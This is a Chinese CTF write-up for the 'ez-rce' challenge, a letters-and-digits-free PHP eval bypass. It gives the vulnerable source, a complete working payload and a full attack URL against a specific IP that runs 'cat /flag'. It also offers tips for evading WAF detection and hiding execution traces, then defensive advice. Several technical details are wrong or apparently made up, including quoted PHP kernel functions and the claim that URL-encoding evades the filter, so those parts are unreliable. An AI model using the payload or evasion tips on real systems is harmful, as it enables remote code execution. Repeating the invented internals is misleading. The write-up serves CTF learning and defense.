一、题目背景与环境分析
1.1 题目信息
- 题目名称:ez-rce
- 提示:303跳转、需用BP抓包、参考无字母数字RCE
- 目标:获取目标服务器上的flag文件内容
1.2 信息收集过程
常规Web安全测试中,信息收集是第一步。本题通过抓包分析响应头发现隐藏路径,体现了被动信息收集 的重要性。与普通题目不同,本题未直接暴露关键路径,需通过HTTP响应头中的注释(<!-- /s3cret/rce.php -->)发现入口点。
1.3 环境搭建与初步访问
访问目标网站时,可能遇到303跳转(提示中提到),这意味着直接访问根路径可能被重定向至其他页面(如百度),增加了信息收集的难度。通过抓包工具(如Burp Suite)拦截请求和响应,可发现隐藏的路径信息,为后续渗透提供入口。
二、源码深度解读
2.1 源码结构与核心逻辑
php
<?php
highlight_file(__FILE__);
if (isset($_GET['shell'])) {
$code = $_GET['shell'];
if(!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){
eval($code);
}
else{
die('hacker!!你想幹嘛!!!');
}
}
- 核心功能 :接收
shell参数并通过eval()执行 - 输入验证:使用正则表达式过滤输入参数
- 执行流程:参数存在 → 验证通过 → 执行代码 → 否则终止
2.2 过滤规则详解
正则表达式/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|~\\]/`的分析:
- 禁止字符集 :
- 字母:
a-z(小写)、A-Z(大写) - 数字:
0-9 - 特殊字符:
@#%^&*:{}-\<>?"|~\`
- 字母:
- 允许字符集 :
[] . _ ; ( ) + $ '(注意:单引号在正则外,需结合上下文确认)
2.3 安全风险评估
- 风险等级 :高危(
eval()函数执行用户可控代码) - 攻击面 :仅
shell参数,输入过滤严格 - 防御机制:字符白名单过滤(仅允许特定字符)
- 绕过难点:无法直接构造命令或函数名(无字母数字)
三、漏洞利用原理(与普通RCE的本质区别)
3.1 普通RCE的常见绕过方式
普通RCE题目通常采用以下过滤策略:
- 函数过滤 :禁止
system、exec等危险函数 - 关键词过滤 :禁止
eval、assert等执行函数 - 命令过滤 :禁止
cat、ls等系统命令 - 绕过方法 :
- 字符串拼接:
syst.em - 编码转换:
base64_decode('c3lzdGVt') - 变量覆盖:
$_GET[a]($_GET[b]) - 回调函数:
array_map('system', array('ls'))
- 字符串拼接:
3.2 ez-rce的独特挑战
本题过滤了所有字母和数字,上述常规方法均不可用,因为:
- 无法直接输入函数名(如
system) - 无法使用数字索引(如
$_GET[0]) - 无法使用编码函数(如
base64_decode) - 无法构造命令字符串(如
'ls')
3.3 PHP语言特性的关键作用
突破过滤的核心在于利用PHP的隐式类型转换 和字符串操作特性:
3.3.1 数组字符串化
-
原理 :PHP中数组与字符串连接时,数组会被转换为字符串
"Array" -
示例 :
php$arr = []; $str = $arr . "_"; // 结果:"Array_" -
应用 :通过
[]._构造初始字符串"Array_",作为后续字符提取的来源
3.3.2 字符串索引访问
-
原理:PHP中字符串可视为字符数组,通过索引访问单个字符
-
示例 :
php$str = "Array_"; $char = $str[0]; // 结果:"A" -
应用 :从
"Array_"中提取首字符"A",作为自增的起点
3.3.3 字符串自增特性
- 原理:PHP中字符串支持自增操作,按字母表顺序递增
- 规则 :
"A"++ →"B""Z"++ →"AA"- 仅支持自增(++),不支持自减(--)
- 应用 :从
"A"开始,通过多次自增构造所需字母
3.3.4 下划线作为数组索引
-
原理:PHP中数组索引若为非数字字符串,会被转换为整数(默认0)
-
示例 :
php$_ = "Array_"; $char = $_[_]; // 等效于 $_[0],结果:"A" -
应用 :绕过数字过滤,使用
_作为索引访问字符串
3.4 无字母数字RCE的技术演进
无字母数字RCE并非新技巧,其技术演进可分为三个阶段:
- 基础阶段:利用数组字符串化和变量自增构造字符
- 进阶阶段 :结合PHP魔术常量(如
__FILE__)和内置函数 - 高级阶段 :利用PHP7+特性(如
($a)()动态函数调用)和JIT漏洞
本题属于基础阶段,但对字符过滤的严格程度使其成为经典案例。
四、Payload 构造详解
4.1 目标代码分析
最终目标是构造$_GET[_]($_GET[__]),实现:
- 通过
_参数传入执行函数(如system) - 通过
__参数传入系统命令(如cat /flag) - 动态调用:
$_GET[_]作为函数,$_GET[__]作为参数
4.2 构造步骤分解
步骤1:获取初始字符"A"
php
$_ = []._; // 构造"Array_"
$_ = $_[_]; // 提取首字符"A"($_[0])
- 原理 :
[]._中[]是数组,.是连接运算符,_是字符串,数组与字符串连接时转换为"Array",最终结果为"Array_" - 验证 :执行
echo []._;输出"Array_"
步骤2:自增构造字母序列
php
$_++; // "A" → "B"
$_++; // "B" → "C"
$_++; // "C" → "D"
$__ = $_; // 保存"D"
$_++; // "D" → "E"
$_++; // "E" → "F"
$___ = $_; // 保存"F"
// 继续自增构造其他字母...
- 关键:通过精确计算自增次数,构造目标字母
- 技巧 :使用临时变量(如
$__、$___)保存中间结果,避免重复自增
步骤3:拼接构造"GET"字符串
php
// 假设已构造:
// $___ = "G"
// $__ = "E"
// $_ = "T"
$___ = $___.$__.$_; // 拼接为"GET"
- 原理 :字符串连接运算符
.用于拼接多个字符 - 注意:顺序需正确,确保拼接结果为"GET"
步骤4:构造"_GET"变量
php
$_ = '_'.$___; // 构造"_GET"
- 原理:将下划线与"GET"拼接,得到"_GET"字符串
- 验证 :执行
echo '_'.$___;输出"_GET"
步骤5:构造动态函数调用
php
$$_[_]($$_[__]); // 等效于 $_GET[_]($_GET[__])
- 原理 :
$$_是可变变量,当$_为"_GET"时,$$_等效于$_GET - 解析 :
$$_[_]→$_GET[_](获取执行函数)$$_[__]→$_GET[__](获取命令参数)(...)→ 函数调用,将参数传入函数
4.3 完整Payload构造
结合上述步骤,完整PHP代码如下:
php
$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);
4.4 URL编码处理
由于HTTP请求中特殊字符可能被中间件解析,需对Payload进行URL全编码:
- 编码前 :
$_=[]._;$_=$_[_];... - 编码后 :
%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B... - 验证:确保编码后的字符不包含被过滤的字符
4.5 构造最终请求
完整URL示例:
http://122.51.209.95:34029/s3cret/rce.php?shell=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B&_=system&__=cat%20/flag
- 参数说明 :
shell:编码后的Payload_:执行函数(system)__:系统命令(cat /flag)
五、调试与优化过程
5.1 本地调试环境搭建
为验证Payload的正确性,可搭建本地调试环境:
- PHP版本:5.6+(确保字符串自增特性兼容)
- 测试文件 :创建
test.php,复制目标源码 - 调试工具 :使用
var_dump()输出中间变量值
5.2 常见错误与解决方案
错误1:自增次数计算错误
- 表现:构造的字母与预期不符(如得到"H"而非"G")
- 原因:自增次数未精确计算
- 解决:逐步调试,记录每次自增后的结果
错误2:URL编码不完整
- 表现:Payload被过滤,返回"hacker!!你想幹嘛!!!"
- 原因:部分字符未编码,被正则匹配
- 解决:使用工具(如Burp Suite的URL编码功能)进行全编码
错误3:变量名冲突
- 表现:执行无结果或报错
- 原因 :临时变量(如
$__、$___)与其他变量冲突 - 解决:使用不同的临时变量名,或简化变量使用
5.3 优化策略
优化1:减少Payload长度
- 目标:缩短URL长度,避免请求被拦截
- 方法 :
- 合并自增操作(如
$_++;$_++;→$_+=2;,但需注意PHP不支持字符串加法) - 优化变量使用,减少临时变量
- 合并自增操作(如
- 效果:降低被WAF检测的概率
优化2:增加兼容性
- 目标:适应不同PHP版本和配置
- 方法 :
- 避免使用版本特定特性
- 增加错误处理(如
@eval())
- 效果:提高Payload的通用性
优化3:隐藏执行痕迹
- 目标:减少日志记录和行为分析
- 方法 :
- 使用
ob_start()和ob_end_clean()隐藏输出 - 执行后清理临时变量
- 使用
- 效果:降低被发现的风险
六、个人解题经验与反思
6.1 解题过程中的挑战
- 信息收集障碍:初始访问被重定向至百度,无法直接发现隐藏路径
- 过滤规则理解:正则表达式过滤范围广,需逐一验证允许的字符
- Payload构造复杂度:无字母数字环境下,需通过多步自增和拼接构造代码
- 调试困难:无法直接输出中间变量值,需通过逻辑推导验证
6.2 克服挑战的方法
- 工具使用:利用Burp Suite抓包分析响应头,发现隐藏路径
- 技术学习:回顾PHP字符串自增和数组转换特性,理解无字母数字RCE原理
- 分步验证:本地搭建测试环境,逐步构造和验证Payload的每一步
- 参考资料:查阅相关CTF题解和技术博客,学习类似场景的解决方案
6.3 与寻常解题经验的不同
- 过滤强度:普通RCE通常仅过滤危险函数,本题过滤所有字母数字,要求更深入理解PHP特性
- 构造思路:普通RCE可直接拼接命令,本题需通过间接方式(数组字符串化、变量自增)构造代码
- 技术深度:普通RCE侧重应用层技巧,本题侧重语言底层机制的利用
- 调试难度:普通RCE可通过echo输出调试,本题需通过逻辑推导和本地测试验证
6.4 自身不足与改进方向
- PHP特性掌握:对PHP字符串自增、数组转换等特性的理解不够深入,需加强语言基础学习
- 调试能力:在无输出环境下的调试经验不足,需提升逻辑推导和本地测试能力
- 信息收集意识:初始未意识到303跳转的意义,需加强对HTTP状态码和响应头的分析能力
- Payload优化:构造的Payload长度较长,需学习更简洁的构造方法
6.5 收获与经验总结
- 技术收获:掌握了无字母数字RCE的核心原理,理解了PHP隐式类型转换的应用
- 思路拓展:学会了在极端限制条件下,通过语言特性绕过过滤的方法
- 工具使用:提升了Burp Suite抓包分析和Payload编码的技巧
- 心态调整:面对复杂问题时,需保持耐心,分步分析和验证
6.6 对未来解题的启示
- 重视基础:深入理解编程语言的基础特性,是解决复杂问题的关键
- 多角度思考:当常规方法不可用时,尝试从语言底层、协议特性等角度寻找突破点
- 充分调试:本地测试和分步验证是确保Payload正确性的重要手段
- 持续学习:关注CTF赛事和安全博客,了解最新的漏洞利用技术和绕过方法
七、技术原理深度解析
7.1 PHP字符串自增的实现机制
-
底层原理 :PHP内核中,字符串自增通过
zend_string_append和zend_string_increment函数实现 -
处理逻辑 :
- 从字符串末尾开始,尝试递增最后一个字符
- 若字符为'z'或'Z',则置为'a'或'A',并向前一位进位
- 若所有字符均为'z'或'Z',则在字符串末尾添加'a'或'A'
-
代码示例 (PHP源码片段):
c// zend_string.c ZEND_API zend_string *zend_string_increment(zend_string *s) { // 实现字符串自增逻辑 }
7.2 数组与字符串转换的原理
-
PHP类型系统:PHP是弱类型语言,支持自动类型转换
-
数组转字符串 :当数组与字符串连接时,PHP调用
zend_array_to_string函数,返回"Array" -
源码分析 :
c// zend_operators.c static zend_string *zend_array_to_string(zval *expr) { return zend_string_init("Array", sizeof("Array")-1, 0); }
7.3 可变变量的工作机制
- 定义 :
$$var表示获取变量名为$var值的变量 - 实现:PHP通过符号表(symbol table)查找变量名,实现动态变量访问
- 应用 :在本题中,通过
$$_访问$_GET,实现动态函数调用
八、防御建议与安全启示
8.1 服务器端防御措施
- 禁用危险函数 :在
php.ini中通过disable_functions禁用eval、system等函数 - 输入验证:对所有用户输入进行严格验证,不仅过滤字符,还要限制长度和格式
- 使用白名单:仅允许预定义的安全操作,避免动态代码执行
- 错误处理 :禁用
display_errors,防止敏感信息泄露 - 日志记录:记录所有异常请求,便于安全审计和攻击检测
8.2 开发规范建议
- 避免使用
eval():尽量使用安全的替代方案(如call_user_func) - 参数化查询:对于数据库操作,使用参数化查询避免SQL注入
- 代码审计:定期进行代码审计,发现并修复潜在安全问题
- 安全培训:提高开发人员的安全意识,了解常见漏洞和防护措施
8.3 安全测试启示
- 全面信息收集:不仅关注URL参数,还要分析HTTP头、响应内容等
- 深入理解语言特性:掌握编程语言的特性和漏洞,是发现安全问题的关键
- 模拟攻击场景:从攻击者角度思考,尝试各种可能的绕过方法
- 持续学习:关注安全社区动态,了解最新的攻击技术和防御策略
九、总结与展望
9.1 题目价值
ez-rce题目通过极端的字符过滤,挑战解题者对PHP语言特性的理解和应用能力,是一道经典的无字母数字RCE练习题。其价值在于:
- 技术深度:要求解题者深入理解PHP底层特性
- 思维拓展:培养在限制条件下的创新思维
- 实践意义:模拟真实环境中的严格过滤场景
9.2 个人成长
通过解本题,个人在以下方面得到提升:
- 技术能力:掌握了无字母数字RCE的核心原理和构造方法
- 解题思路:学会了从语言特性角度寻找突破点
- 调试技巧:提升了在无输出环境下的逻辑推导能力
- 安全意识:加深了对输入验证重要性的认识
9.3 未来研究方向
- 高级无字母数字RCE:研究PHP7+环境下的新特性和绕过方法
- 多语言RCE:探索Python、JavaScript等语言的无字母数字RCE技术
- 自动化工具开发:开发Payload生成工具,提高解题效率
- 防御绕过与检测:研究如何检测和防御无字母数字RCE攻击
9.4 结语
ez-rce题目不仅是对技术能力的考验,更是对思维方式的挑战。通过深入理解PHP语言特性,结合逻辑推导和调试验证,最终成功获取flag。这一过程体现了Web安全测试的核心:信息收集→漏洞分析→利用验证→防御建议。
在未来的安全测试和开发中,应始终保持对语言特性的关注,不断学习和总结,以应对日益复杂的安全挑战。同时,要注重防御措施的实施,从源头上减少安全漏洞的产生,构建更加安全的Web应用环境。